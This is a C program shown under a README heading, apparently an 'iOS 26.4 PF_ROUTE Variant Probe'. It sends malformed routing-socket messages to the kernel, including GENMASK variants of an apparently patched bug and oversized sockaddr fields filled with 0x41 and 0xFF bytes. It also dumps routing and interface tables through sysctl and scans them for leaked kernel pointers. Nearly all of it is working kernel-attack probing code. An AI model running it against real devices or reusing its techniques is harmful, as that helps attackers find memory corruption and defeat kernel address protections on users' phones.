README.md
Rendering markdown...
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#define RTM_VERSION 5
#define RTM_ADD 1
#define RTM_DELETE 2
#define RTM_CHANGE 3
#define RTM_GET 4
#define RTM_REDIRECT 6
#define RTM_LOCK 8
#define RTM_GET2 20
#define RTM_GET_EXT 21
#define RTA_DST 0x01
#define RTA_GATEWAY 0x02
#define RTA_NETMASK 0x04
#define RTA_GENMASK 0x08
#define RTA_IFP 0x10
#define RTA_IFA 0x20
#define RTA_AUTHOR 0x40
#define RTA_BRD 0x80
#define RTF_GATEWAY 0x2
#define RTF_HOST 0x4
#define RTF_STATIC 0x800
#define RTF_UP 0x1
struct rt_metrics {
uint32_t rmx_locks, rmx_mtu, rmx_hopcount;
int32_t rmx_expire;
uint32_t rmx_recvpipe, rmx_sendpipe, rmx_ssthresh;
uint32_t rmx_rtt, rmx_rttvar, rmx_pksent, rmx_state;
uint32_t rmx_filler[3];
};
struct rt_msghdr {
unsigned short rtm_msglen; unsigned char rtm_version; unsigned char rtm_type;
unsigned short rtm_index; int rtm_flags; int rtm_addrs;
int rtm_pid; int rtm_seq; int rtm_errno;
int rtm_use; unsigned int rtm_inits; struct rt_metrics rtm_rmx;
};
static int send_rt(int type, int flags, int addrs, void *sas, int sa_len, const char *tag) {
int fd = socket(PF_ROUTE, SOCK_RAW, 0);
if (fd < 0) { printf("[%s] socket fail e=%d\n", tag, errno); return -1; }
char buf[2048]; memset(buf, 0, sizeof(buf));
struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
rtm->rtm_type = type;
rtm->rtm_version = RTM_VERSION;
rtm->rtm_flags = flags;
rtm->rtm_seq = 1;
rtm->rtm_addrs = addrs;
memcpy(buf + sizeof(*rtm), sas, sa_len);
rtm->rtm_msglen = sizeof(*rtm) + sa_len;
ssize_t s = write(fd, buf, rtm->rtm_msglen);
printf("[%s] type=%d flags=0x%x addrs=0x%x write=%zd e=%d",
tag, type, flags, addrs, s, s<0?errno:0);
if (s > 0) {
struct timeval tv = {0, 200000};
setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
ssize_t r = read(fd, buf, sizeof(buf));
if (r > 0) {
struct rt_msghdr *resp = (struct rt_msghdr *)buf;
printf(" read=%zd type=%u err=%d addrs=0x%x",
r, resp->rtm_type, resp->rtm_errno, resp->rtm_addrs);
}
}
printf("\n");
close(fd);
return s < 0 ? errno : 0;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGPIPE, SIG_IGN);
printf("=== iOS 26.4 PF_ROUTE Variant Probe ===\n\n");
struct sockaddr_in sin_dst, sin_gw, sin_mask, sin_gm;
memset(&sin_dst, 0, sizeof(sin_dst));
sin_dst.sin_family = AF_INET; sin_dst.sin_len = sizeof(sin_dst);
sin_dst.sin_addr.s_addr = inet_addr("8.8.8.8");
memset(&sin_gw, 0, sizeof(sin_gw));
sin_gw.sin_family = AF_INET; sin_gw.sin_len = sizeof(sin_gw);
sin_gw.sin_addr.s_addr = inet_addr("192.168.1.1");
memset(&sin_mask, 0, sizeof(sin_mask));
sin_mask.sin_family = AF_INET; sin_mask.sin_len = sizeof(sin_mask);
sin_mask.sin_addr.s_addr = inet_addr("255.255.255.0");
memset(&sin_gm, 0, sizeof(sin_gm));
sin_gm.sin_family = AF_INET; sin_gm.sin_len = sizeof(sin_gm);
sin_gm.sin_addr.s_addr = inet_addr("255.255.0.0");
printf("--- 1. RTM_GET + GENMASK (original, should be patched) ---\n");
{
char sa[32]; int off = 0;
memcpy(sa+off, &sin_dst, 16); off += 16;
memcpy(sa+off, &sin_gm, 16); off += 16;
send_rt(RTM_GET, 0, 0x09, sa, off, "GET+GM");
}
printf("\n--- 2. RTM_ADD + GENMASK (different handler!) ---\n");
{
char sa[64]; int off = 0;
memcpy(sa+off, &sin_dst, 16); off += 16;
memcpy(sa+off, &sin_gw, 16); off += 16;
memcpy(sa+off, &sin_mask, 16); off += 16;
memcpy(sa+off, &sin_gm, 16); off += 16;
send_rt(RTM_ADD, RTF_GATEWAY|RTF_STATIC, 0x0F, sa, off, "ADD+GM");
}
printf("\n--- 3. RTM_CHANGE + GENMASK ---\n");
{
char sa[64]; int off = 0;
memcpy(sa+off, &sin_dst, 16); off += 16;
memcpy(sa+off, &sin_gw, 16); off += 16;
memcpy(sa+off, &sin_mask, 16); off += 16;
memcpy(sa+off, &sin_gm, 16); off += 16;
send_rt(RTM_CHANGE, 0, 0x0F, sa, off, "CHG+GM");
}
printf("\n--- 4. RTM_LOCK + GENMASK ---\n");
{
char sa[32]; int off = 0;
memcpy(sa+off, &sin_dst, 16); off += 16;
memcpy(sa+off, &sin_gm, 16); off += 16;
send_rt(RTM_LOCK, 0, 0x09, sa, off, "LOCK+GM");
}
printf("\n--- 5. Oversized sockaddr on NON-genmask fields ---\n");
{
char sa[512]; memset(sa, 0, sizeof(sa));
memcpy(sa, &sin_dst, 16);
int off = 16;
sa[off] = 128; sa[off+1] = AF_INET;
memset(sa+off+2, 0x41, 126);
off += 128;
send_rt(RTM_GET, 0, 0x03, sa, off, "GET+bigGW");
}
printf("\n--- 6. Oversized NETMASK ---\n");
{
char sa[512]; memset(sa, 0, sizeof(sa));
memcpy(sa, &sin_dst, 16);
int off = 16;
memcpy(sa+off, &sin_gw, 16); off += 16;
sa[off] = 128; sa[off+1] = AF_INET;
memset(sa+off+2, 0xFF, 126);
off += 128;
send_rt(RTM_GET, 0, 0x07, sa, off, "GET+bigMASK");
}
printf("\n--- 7. sysctl NET_RT_DUMP (different code path to serialize routes) ---\n");
{
int mib[6] = {4, 17, 0, AF_INET, 1, 0};
size_t needed = 0;
int r = sysctl(mib, 6, NULL, &needed, NULL, 0);
printf("[RT_DUMP] sysctl size query: ret=%d needed=%zu e=%d\n", r, needed, r<0?errno:0);
if (r == 0 && needed > 0 && needed < 1024*1024) {
char *rbuf = malloc(needed);
r = sysctl(mib, 6, rbuf, &needed, NULL, 0);
printf("[RT_DUMP] sysctl data: ret=%d got=%zu\n", r, needed);
if (r == 0 && needed > 0) {
int nroutes = 0;
char *p = rbuf, *end = rbuf + needed;
while (p < end) {
struct rt_msghdr *rm = (struct rt_msghdr *)p;
if (rm->rtm_msglen == 0) break;
nroutes++;
if (rm->rtm_addrs & 0x08) {
printf(" route %d has GENMASK! addrs=0x%x\n", nroutes, rm->rtm_addrs);
}
p += rm->rtm_msglen;
}
printf(" %d routes dumped, checking for kptrs...\n", nroutes);
int kptrs = 0;
for (size_t i = 0; i+7 < needed; i += 4) {
uint64_t v = *(uint64_t*)(rbuf+i);
if ((v >> 40) == 0xffffff || (v >> 40) == 0xfffffe) {
printf(" KPTR at offset %zu: 0x%016llx\n", i, v);
if (++kptrs >= 5) break;
}
}
if (kptrs == 0) printf(" no kernel pointers found\n");
}
free(rbuf);
}
}
printf("\n--- 8. sysctl NET_RT_DUMP2 ---\n");
{
int mib[6] = {4, 17, 0, AF_INET, 7, 0};
size_t needed = 0;
int r = sysctl(mib, 6, NULL, &needed, NULL, 0);
printf("[RT_DUMP2] ret=%d needed=%zu e=%d\n", r, needed, r<0?errno:0);
}
printf("\n--- 9. sysctl NET_RT_IFLIST2 ---\n");
{
int mib[6] = {4, 17, 0, 0, 6, 0};
size_t needed = 0;
int r = sysctl(mib, 6, NULL, &needed, NULL, 0);
printf("[RT_IFLIST2] ret=%d needed=%zu e=%d\n", r, needed, r<0?errno:0);
if (r == 0 && needed > 0 && needed < 1024*1024) {
char *rbuf = malloc(needed);
r = sysctl(mib, 6, rbuf, &needed, NULL, 0);
printf("[RT_IFLIST2] got %zu bytes\n", needed);
int kptrs = 0;
for (size_t i = 0; i+7 < needed; i += 4) {
uint64_t v = *(uint64_t*)(rbuf+i);
if ((v >> 40) == 0xffffff || (v >> 40) == 0xfffffe) {
printf(" KPTR at offset %zu: 0x%016llx\n", i, v);
if (++kptrs >= 5) break;
}
}
if (kptrs == 0) printf(" no kernel pointers\n");
free(rbuf);
}
}
printf("\n--- 10. RTM_GET with maximum sockaddrs and edge flags ---\n");
{
char sa[256]; memset(sa, 0, sizeof(sa));
int off = 0;
for (int i = 0; i < 7; i++) {
struct sockaddr_in *s = (struct sockaddr_in *)(sa + off);
s->sin_family = AF_INET; s->sin_len = 16;
s->sin_addr.s_addr = htonl(0x01010100 + i);
off += 16;
}
send_rt(RTM_GET, 0, 0xF7, sa, off, "GET+ALL_NO_GM");
}
printf("\n=== Done ===\n");
return 0;
}